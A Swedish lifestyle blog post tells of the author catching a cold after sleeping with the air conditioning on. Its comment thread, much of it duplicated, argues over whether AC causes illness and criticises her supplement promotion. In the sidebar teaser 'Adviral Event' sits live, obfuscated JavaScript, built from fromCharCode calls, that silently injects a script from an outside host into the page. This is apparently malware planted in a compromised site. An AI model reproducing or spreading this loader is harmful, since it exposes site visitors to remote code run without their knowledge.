Varning för AC!

Hej ifrån sjukstugan! 

A4B2142A-929E-4A83-8F49-91A47388EDED

Sorry för utloggning, legat däckad sen igår! 

Jag bilade hem till Täby igår. Men jösses vilken pärs! 😅😂🙈 fick stanna och sova tre gånger!

 Jag somnade med AC på i förrgår🤦🏼‍♀️ 30 grader varmt ute, eftersvettning efter träning. Fuktig u håret från poolen. -Dålig kombo! 

Jag  Kände att ”något var på gång” i söndags. Men det bröt ut natten till måndag. Halsen tjocknade igen, vaknade med feber och helt slut!🤒 -Suck!

Jag VET ju hur känslig jag är med ac. Men somnad ändå med den på….. Nu kurerar jag mig för fullt. Ipren/alvedon. Grönt te med honung. strepsils för halsen…. sömn, och vatten.

Denna veckan har vi Mycket roligt och spänande på G på lifestyle. Så nu vill jag bli frisk!

Jonas och kissarna pysslar om mig ❤️🙏🏻

-Tack för att du finns! Kram kram

/My Martens

AA4526B8-4BEC-49D0-B739-6D311017C82E

 

80 Komentarer

  1. Tvärtemot vad många tror så blir man INTE sjuk av AC eller av kyla/ sitta i drag osv! Detta är gamla skrönor från förr som lever kvar. Samma sak med barn och mössor, du får inte öroninflammation för att du går utan mössa när det är kallt.
    Men såklart trist att du är sjuk och jag hoppas du kryar på dig.
    Du verkar vara en grym tjej tycker jag! Kram

    • ???? Jag är jätte känslig mot AC och kalldrag….. speciellt om jag är blöt. varför skulle detta vara en gammal myt? ? jag reagerar så…. ?

      • Hej! Louise har rätt, man blir inte sjuk av att bli kall,däremot OM man har en infektion/virus i kroppen så kan det brytas ut om man blir kall. Men är du frisk och immunförsvaret bra så ska du klara kyla och bli lite kall! Kram S

      • Precis. Man blir inte sjuk av ac men det kan förvärra situationen om du redan har nått virus, nån bakterie i dig. Vi blir sjuka av bakterier och virus inte av något annat när det gäller förkylningar. Du kan inte bli sjuk om du inte har en infektion i kroppen, sen kan visst värme/kyla påskynda förloppet, helt möjligt. Jag tror nog att det gick fortare för dig att bli sjuk av just ac.n men du skulle blivit det ändå så att säga. Däremot kan du av kyla och drag dra på dig saker som nackspärr mm.
        Jag får en känsla av att du faktiskt inte klarar av träning i den utsträckning du gör (inget illa eller ont i det jag skriver) utan jag tror att du faktiskt tar ut kroppen för mycket och att du blir sjuk av din träning. Vissa blir det, tyvärr. Du skulle nog hålla dig till mindre eller lågdosträning, mer långsam träning. Promenader och styrketräning i lågdos. Träning är bra men faktiskt inte i alla lägen och inte hur som helst. Tror du vet det, men med din adhd så är det ju så, typ—-allt eller inget (inget fel i det) måste bara lära sig leva på visst sätt. Jag har många med den diagnosen i min nära närhet. Försök att tänka, lagom är alltid bäst. Ett kilo mer är bättre än ett kilo mindre men ett kilo mindre är bättre än 10 kg upp. Du är helt ok som du är. Kram och krya på dig.

    • Hahaha en myt??? Jag och min familj blir ALLTID sjuka av AC. Spelar ingen roll om det är på hotellrummet eller i bilen.

    • Louise…. jag har kört med AC.n på rejäl kyla dessa varma dagar o jag blev sjuk. Lika när jag är i Thailand ….så man kan visst bli sjuk av AC.
      Krya på dig My

    • Min man och son blir nästa alltid sjuka i luftvägsinfektioner. Visst kanske finns vetenskapliga studier som visar motsatsen men då tillhör dom undantaget. Slår aldrig fel.

  2. Tur att Du kom hem till Täby och Jonas nu så han får glädjen att pyssla om Dig. Vila och vatten och gärna svartvinbärssaft!
    Krya på Dig!

  3. Tvärtemot vad många tror så blir man INTE sjuk av AC eller av kyla/ sitta i drag osv! Detta är gamla skrönor från förr som lever kvar. Samma sak med barn och mössor, du får inte öroninflammation för att du går utan mössa när det är kallt.
    Men såklart trist att du är sjuk och jag hoppas du kryar på dig.
    Du verkar vara en grym tjej tycker jag! Kram

    • ???? Jag är jätte känslig mot AC och kalldrag….. speciellt om jag är blöt. varför skulle detta vara en gammal myt? 😳 jag reagerar så…. 🙈

      • Hej! Louise har rätt, man blir inte sjuk av att bli kall,däremot OM man har en infektion/virus i kroppen så kan det brytas ut om man blir kall. Men är du frisk och immunförsvaret bra så ska du klara kyla och bli lite kall! Kram S

      • Precis. Man blir inte sjuk av ac men det kan förvärra situationen om du redan har nått virus, nån bakterie i dig. Vi blir sjuka av bakterier och virus inte av något annat när det gäller förkylningar. Du kan inte bli sjuk om du inte har en infektion i kroppen, sen kan visst värme/kyla påskynda förloppet, helt möjligt. Jag tror nog att det gick fortare för dig att bli sjuk av just ac.n men du skulle blivit det ändå så att säga. Däremot kan du av kyla och drag dra på dig saker som nackspärr mm.
        Jag får en känsla av att du faktiskt inte klarar av träning i den utsträckning du gör (inget illa eller ont i det jag skriver) utan jag tror att du faktiskt tar ut kroppen för mycket och att du blir sjuk av din träning. Vissa blir det, tyvärr. Du skulle nog hålla dig till mindre eller lågdosträning, mer långsam träning. Promenader och styrketräning i lågdos. Träning är bra men faktiskt inte i alla lägen och inte hur som helst. Tror du vet det, men med din adhd så är det ju så, typ—-allt eller inget (inget fel i det) måste bara lära sig leva på visst sätt. Jag har många med den diagnosen i min nära närhet. Försök att tänka, lagom är alltid bäst. Ett kilo mer är bättre än ett kilo mindre men ett kilo mindre är bättre än 10 kg upp. Du är helt ok som du är. Kram och krya på dig.

    • Hahaha en myt??? Jag och min familj blir ALLTID sjuka av AC. Spelar ingen roll om det är på hotellrummet eller i bilen.

    • Louise…. jag har kört med AC.n på rejäl kyla dessa varma dagar o jag blev sjuk. Lika när jag är i Thailand ….så man kan visst bli sjuk av AC.

      Krya på dig My

    • Min man och son blir nästa alltid sjuka i luftvägsinfektioner. Visst kanske finns vetenskapliga studier som visar motsatsen men då tillhör dom undantaget. Slår aldrig fel.

  4. Tur att Du kom hem till Täby och Jonas nu så han får glädjen att pyssla om Dig. Vila och vatten och gärna svartvinbärssaft!
    Krya på Dig!

  5. Kan vara så att kroppen säger ifrån också, fast du tycker att du bara gör roliga saker så orkar inte kroppen/knoppen med alla uppdrag du har. Det tar mycket av en att umgås och vara i stora grupper där man ska prestera på alla olika sätt. Kanske du måste skala ner ditt schema ännu mer! Bara en tanke i all välmening.

  6. Trodde också att det var en myt…..
    Sjuk blir man av virus som smittar.
    Men AC, kalla dopp, gå utan mössa mm kan förvärra symptomen har jag hört.
    Ingen läkare här som kan reda ut myt/sanning till oss?

    • A/C torkar ut luftrören och gör dig mer mottaglig för virus och bakterier.
      Kan även vara så att det AC:n inte är ren. En smutsig AC kan lätt bli tillhåll för mögel och andra mikroorganismer som kan påskynda och förvärra hälsoproblem man redan har.

  7. Kan vara så att kroppen säger ifrån också, fast du tycker att du bara gör roliga saker så orkar inte kroppen/knoppen med alla uppdrag du har. Det tar mycket av en att umgås och vara i stora grupper där man ska prestera på alla olika sätt. Kanske du måste skala ner ditt schema ännu mer! Bara en tanke i all välmening.

    • ”Anders” Om du kallar dig ? jag är så trött på dina intelligens befriade kommentarer… du hör inte hemma här. Jag kommer kasta dom rakt i papperskorgen från och med nu. Adjö!

  8. Trodde också att det var en myt…..

    Sjuk blir man av virus som smittar.

    Men AC, kalla dopp, gå utan mössa mm kan förvärra symptomen har jag hört.

    Ingen läkare här som kan reda ut myt/sanning till oss?

    • A/C torkar ut luftrören och gör dig mer mottaglig för virus och bakterier.
      Kan även vara så att det AC:n inte är ren. En smutsig AC kan lätt bli tillhåll för mögel och andra mikroorganismer som kan påskynda och förvärra hälsoproblem man redan har.

  9. Krya på dig ?
    Jag reagerar oxå på AC. Förra sommaren blev jag rejält kass efter lång bilresa med AC. Tror oxå att det kanske har med stora temperaturskillnader från 30 grader värme till kall sval luft.

  10. Snälla My. Sluta att outa alla dina sjukdomar. Förstår du inte att det inte är trovärdigt när du samtidigt försöker sälja in kosttillskott.
    Om man äter Mys Grönsakspiller ska man väl inte behöva bli sjuk var och varannan vecka. Jag menar då inte bara normalfökyld eller så som alla kan bli utan helt ”däckad” som du verkar bli hela tiden. Det är extremt ovanligt i din ålder. Det måste vara något annat som är fel. Hoppas att du går och kollar dig.
    AC gör ingen sjuk som inte redan är det. Det är en riktig skröna.
    Summasummarum: Om du nu är så himla sjuk så ofta som du är så håll då tyst om det. Att du inte är helt vältränad syns ju men du behöver ju själv inte späda på det ytterligare.
    Krya på dig nu! Kanske att du behöver mer lugn och ro som många andra redan har kommenterat de senaste 7 åren. Du kanske inte är gjord för den väg du har valt just nu.

    • Håller delvis med de andra! Du gör reklam för alla dessa tillskott och skriver hur bra du mår,det är Bobbys slimpiller och dina egna som är såååååå bra,ändå är du sjuk i stort sett jämt? I alla fall är det väldigt ofta? Tycker du inte det själv? Kram

    • Suck! Varför är du sån här???
      Jag är Ledsen att göra dig besviken…. jag somnade med ac:n. Fuktig i håret och nyduschad…. Jag reagerar såhär varje gång. Därför irriterar det mig att jag inte stängde av den. ???‍♀️
      Det är inte ac man blir sjuk av. Utan den framkallar det man evenyuellt redan har i kroppen om man är extra mottaglig.
      Jag som fortfarande är påväg tillbaka från min utmattningsdepression är fortfarande skör. Dvs, MER mottaglig.
      Jag är betydligt bättre än vad det har varit. Men långtifrån mitt ”vanliga” immunförsvar. Kanske kommer ta ett är till, vem vet. Men det går iallafall framåt.
      Inget konstigt alls. Jag vilar tryggt i den informationen, då det är vad min läkare förklarat för mig.
      Du skriver bla, ”Något annat fel, i min ålder” osv.
      Jag kan varmt rekommendera dig att Läsa på ordentligt om just utbrändhet och utmattningsdepression, INNAN du uttalar dig så dumt som du just nu gör….
      Jag har fått lära mig irl. Jag kunde innan min egen erfarenhet…. slänga ur mig egna halvkonstiga kommentarer som ”ryck upp dig” till de som varit utbrända.
      Jag menade inget illa, men visste inget bättre.
      Du däremot, du återupprepar dig, trots att du kunnat läsa dig till vad ”felet” varit på mig.
      Det jag fått nu är ingen döds-sjukdom, utan en meha förkylning som ac drog fram. Bah låg däckad igår, Ic hat sovit stora delar av idag.
      Vad vältränad är för dig, är kanske inte detsamma för dig.
      Jag tränar för MIN skull. Inte för din….?
      jag tycker inte om dina återupprepade neggiga och taskiga kommentarer…. Sluta helt enkelt att läsa min blogg, om du inte kan uppgöra dig härinne.
      Den verkar bara framkalla massa negativ energi hos dig☺️
      Så hitta en annan hobby som ger dig lite glädjehopp och positivitet istället ? /My

    • ”Anders” Om du kallar dig 😂 jag är så trött på dina intelligens befriade kommentarer… du hör inte hemma här. Jag kommer kasta dom rakt i papperskorgen från och med nu. Adjö!

  11. Krya på dig 🌺
    Jag reagerar oxå på AC. Förra sommaren blev jag rejält kass efter lång bilresa med AC. Tror oxå att det kanske har med stora temperaturskillnader från 30 grader värme till kall sval luft.

  12. Snälla My. Sluta att outa alla dina sjukdomar. Förstår du inte att det inte är trovärdigt när du samtidigt försöker sälja in kosttillskott.

    Om man äter Mys Grönsakspiller ska man väl inte behöva bli sjuk var och varannan vecka. Jag menar då inte bara normalfökyld eller så som alla kan bli utan helt ”däckad” som du verkar bli hela tiden. Det är extremt ovanligt i din ålder. Det måste vara något annat som är fel. Hoppas att du går och kollar dig.

    AC gör ingen sjuk som inte redan är det. Det är en riktig skröna.

    Summasummarum: Om du nu är så himla sjuk så ofta som du är så håll då tyst om det. Att du inte är helt vältränad syns ju men du behöver ju själv inte späda på det ytterligare.

    Krya på dig nu! Kanske att du behöver mer lugn och ro som många andra redan har kommenterat de senaste 7 åren. Du kanske inte är gjord för den väg du har valt just nu.

    • Håller delvis med de andra! Du gör reklam för alla dessa tillskott och skriver hur bra du mår,det är Bobbys slimpiller och dina egna som är såååååå bra,ändå är du sjuk i stort sett jämt? I alla fall är det väldigt ofta? Tycker du inte det själv? Kram

    • Suck! Varför är du sån här???

      Jag är Ledsen att göra dig besviken…. jag somnade med ac:n. Fuktig i håret och nyduschad…. Jag reagerar såhär varje gång. Därför irriterar det mig att jag inte stängde av den. 😂🤦🏼‍♀️

      Det är inte ac man blir sjuk av. Utan den framkallar det man evenyuellt redan har i kroppen om man är extra mottaglig.

      Jag som fortfarande är påväg tillbaka från min utmattningsdepression är fortfarande skör. Dvs, MER mottaglig.

      Jag är betydligt bättre än vad det har varit. Men långtifrån mitt ”vanliga” immunförsvar. Kanske kommer ta ett är till, vem vet. Men det går iallafall framåt.

      Inget konstigt alls. Jag vilar tryggt i den informationen, då det är vad min läkare förklarat för mig.

      Du skriver bla, ”Något annat fel, i min ålder” osv.

      Jag kan varmt rekommendera dig att Läsa på ordentligt om just utbrändhet och utmattningsdepression, INNAN du uttalar dig så dumt som du just nu gör….

      Jag har fått lära mig irl. Jag kunde innan min egen erfarenhet…. slänga ur mig egna halvkonstiga kommentarer som ”ryck upp dig” till de som varit utbrända.

      Jag menade inget illa, men visste inget bättre.

      Du däremot, du återupprepar dig, trots att du kunnat läsa dig till vad ”felet” varit på mig.

      Det jag fått nu är ingen döds-sjukdom, utan en meha förkylning som ac drog fram. Bah låg däckad igår, Ic hat sovit stora delar av idag.

      Vad vältränad är för dig, är kanske inte detsamma för dig.

      Jag tränar för MIN skull. Inte för din….😂

      jag tycker inte om dina återupprepade neggiga och taskiga kommentarer…. Sluta helt enkelt att läsa min blogg, om du inte kan uppgöra dig härinne.

      Den verkar bara framkalla massa negativ energi hos dig☺️

      Så hitta en annan hobby som ger dig lite glädjehopp och positivitet istället 💕 /My

  13. Nu ska jag gamla tant ta My i försvar här. Vi är flera i min familj ( och vi är många ) som blir sjuka av att sitta för länge i en bil med ac på eller av kylfläkt inne.
    Om vi åker långt måste både jag och dottern tex ur bilen med jämna mellanrum för att andas frisk luft. Annars blir vi båda förkylda.
    Om man sen går och lägger sig, svettig och varm och har kyla på i rummet hela natten då kan halsont komma som ett brev på posten.
    Men… om man är trött och sliten till råga på allt då blir det etter värre’
    Ta det lugnt My, både med sol, träning och jobb.
    Krya på dig.
    Kram

  14. Nu ska jag gamla tant ta My i försvar här. Vi är flera i min familj ( och vi är många ) som blir sjuka av att sitta för länge i en bil med ac på eller av kylfläkt inne.
    Om vi åker långt måste både jag och dottern tex ur bilen med jämna mellanrum för att andas frisk luft. Annars blir vi båda förkylda.
    Om man sen går och lägger sig, svettig och varm och har kyla på i rummet hela natten då kan halsont komma som ett brev på posten.
    Men… om man är trött och sliten till råga på allt då blir det etter värre’
    Ta det lugnt My, både med sol, träning och jobb.
    Krya på dig.
    Kram

  15. Lägger till här då jag är sjukvårdsutbildad.
    NEJ, och som sen My skrev ovan, man blir INTE sjuk av ac, värme, blåst, snö, men det kan förvärra och göra att en sjukdom bryter ut OM man har en infektion i kroppen. Det vi blir sjuka av är virus och det finns tusentals och bakteriner. Däremot kan man om man inte blir sjuk känna av olika symtom på ac.n då den är kall och luftvägar, slemhinnor osv blir irriterade och man kan känna sig torr och ha ont i halsen, få känningar i ögon och öron men det är övergående. Kroppen reagerar på att den känt av kyla en hel natt men det blir du inte sjuk av utan det går över. Har du minsta lilla patogen cell så kan den blossa upp och ge förkylning som du kanske hade sluppit utan ac för att kroppen hade jobbat bort den innan den bröt ut, men så kom ac in i bilden och störde läkeförloppet så indirekt kan det bidra till att du blir sjuk, men den gör dig inte sjuk. Däremot kan du få en nackspärr, stelhet mm då kyla kan ge kramp i muskler och även mikrosmå blödningar av bla ac eller drag.

  16. Lägger till här då jag är sjukvårdsutbildad.
    NEJ, och som sen My skrev ovan, man blir INTE sjuk av ac, värme, blåst, snö, men det kan förvärra och göra att en sjukdom bryter ut OM man har en infektion i kroppen. Det vi blir sjuka av är virus och det finns tusentals och bakteriner. Däremot kan man om man inte blir sjuk känna av olika symtom på ac.n då den är kall och luftvägar, slemhinnor osv blir irriterade och man kan känna sig torr och ha ont i halsen, få känningar i ögon och öron men det är övergående. Kroppen reagerar på att den känt av kyla en hel natt men det blir du inte sjuk av utan det går över. Har du minsta lilla patogen cell så kan den blossa upp och ge förkylning som du kanske hade sluppit utan ac för att kroppen hade jobbat bort den innan den bröt ut, men så kom ac in i bilden och störde läkeförloppet så indirekt kan det bidra till att du blir sjuk, men den gör dig inte sjuk. Däremot kan du få en nackspärr, stelhet mm då kyla kan ge kramp i muskler och även mikrosmå blödningar av bla ac eller drag.

  17. För tillfället är jag glad att ac inte fungerar i bilen, jag får nackspärr av att det blåser runt. Vet flera som inte använder ac p.gr.av det.

  18. För tillfället är jag glad att ac inte fungerar i bilen, jag får nackspärr av att det blåser runt. Vet flera som inte använder ac p.gr.av det.

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/